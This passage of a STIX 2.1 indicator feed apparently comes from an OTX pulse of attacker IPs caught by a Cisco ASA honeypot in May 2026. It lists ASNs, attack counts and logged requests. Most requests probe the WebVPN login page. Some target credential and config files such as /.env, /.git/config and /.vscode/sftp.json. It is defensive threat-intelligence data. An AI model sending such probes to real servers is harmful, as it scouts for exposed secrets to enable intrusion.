          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--d1e87e80-d3fa-4abb-8e2e-039dcf25bf87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:20:10.000Z",
      "valid_until": "2026-06-03T07:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 69,
          "first_seen": "2026-05-02T06:44:18.912Z",
          "last_seen": "2026-05-29T21:57:42.124Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--516583df-d824-4473-bd6e-be0db96af620",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '44.220.188.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:20:10.000Z",
      "valid_until": "2026-06-03T07:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-02T06:33:42.964Z",
          "last_seen": "2026-05-02T06:33:49.550Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--50d4d698-69bc-4add-8ef1-3a598f44c12a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:20:10.000Z",
      "valid_until": "2026-06-03T07:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-02T07:09:15.134Z",
          "last_seen": "2026-05-30T08:47:21.899Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--5652b7da-ef00-4156-96ba-1777b489e3a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T07:20:10.000Z",
      "valid_until": "2026-06-03T07:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-02T06:29:22.523Z",
          "last_seen": "2026-05-29T01:54:36.336Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--6beca1a9-10f8-454b-9312-74ada3700d09",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T07:33:12.916Z",
          "last_seen": "2026-05-20T03:28:14.439Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--260c44b1-accb-43b7-a1c3-363ee673c81c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T07:27:38.122Z",
          "last_seen": "2026-05-26T11:54:23.838Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--caef232d-2ee3-4ba4-b569-4a0d71457617",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-02T07:52:16.802Z",
          "last_seen": "2026-05-27T14:16:02.617Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--f8d2f082-5de3-4fd7-890f-ad45390169a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T08:11:18.415Z",
          "last_seen": "2026-05-30T04:48:26.745Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--85cc6462-187c-4ddf-84a1-1525fdcd2f62",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-02T08:11:25.540Z",
          "last_seen": "2026-05-04T13:43:04.120Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--87680e0e-f969-4509-80ae-c8323f810dba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '209.38.208.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 44,
          "first_seen": "2026-05-02T07:33:56.486Z",
          "last_seen": "2026-05-02T07:35:20.709Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.DS_Store HTTP/1.1\" 404 -",
            "\"GET /.env HTTP/1.1\" 404 -",
            "\"GET /.git/config HTTP/1.1\" 404 -",
            "\"GET /.vscode/sftp.json HTTP/1.1\" 404 -",
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
            "\"GET /?rest_route=/wp/v2/users/ HTTP/1.1\" 404 -",
            "\"GET /@vite/env HTTP/1.1\" 404 -",
            "\"GET /___proxy_subdomain_cpanel HTTP/1.1\" 404 -",
            "\"GET /___proxy_subdomain_whm/login HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7efdf628-22e8-4da9-b8b1-77c1f254392e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T07:43:22.212Z",
          "last_seen": "2026-05-21T03:14:45.601Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--039e04c4-1629-404b-a572-0da47d1ee226",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-02T07:29:28.312Z",
          "last_seen": "2026-05-19T01:09:25.012Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--cf9a7361-9590-42b6-9afd-9164a8de873c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 36,
          "first_seen": "2026-05-02T07:49:28.219Z",
          "last_seen": "2026-05-29T09:34:45.897Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b8196cc5-8d5d-427f-847e-e6ecfdeb329d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-02T08:03:09.615Z",
          "last_seen": "2026-05-02T08:17:11.280Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--cfd191a5-030f-4072-bcd1-5e45e803f816",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 35,
          "first_seen": "2026-05-02T08:15:06.874Z",
          "last_seen": "2026-05-27T22:04:02.835Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--960ece6b-afc3-4408-8b19-9e5bbd4b84ca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-02T07:30:37.626Z",
          "last_seen": "2026-05-26T15:46:05.615Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--9680d567-2b3d-4c7e-a94f-e15eb8f4f636",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 16,
          "first_seen": "2026-05-02T07:59:00.430Z",
          "last_seen": "2026-05-02T08:04:57.654Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--058362da-4cc2-4f4e-9aa3-375381c925ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-02T08:01:49.380Z",
          "last_seen": "2026-05-02T08:01:52.383Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--8978255c-5b77-4ba2-8666-fb9de426cd6b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:20:10.000Z",
      "valid_until": "2026-06-03T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-02T08:03:17.148Z",
          "last_seen": "2026-05-02T08:03:28.578Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-02T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--ce236f89-af0c-4c0f-ba9c-df0581cac55e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
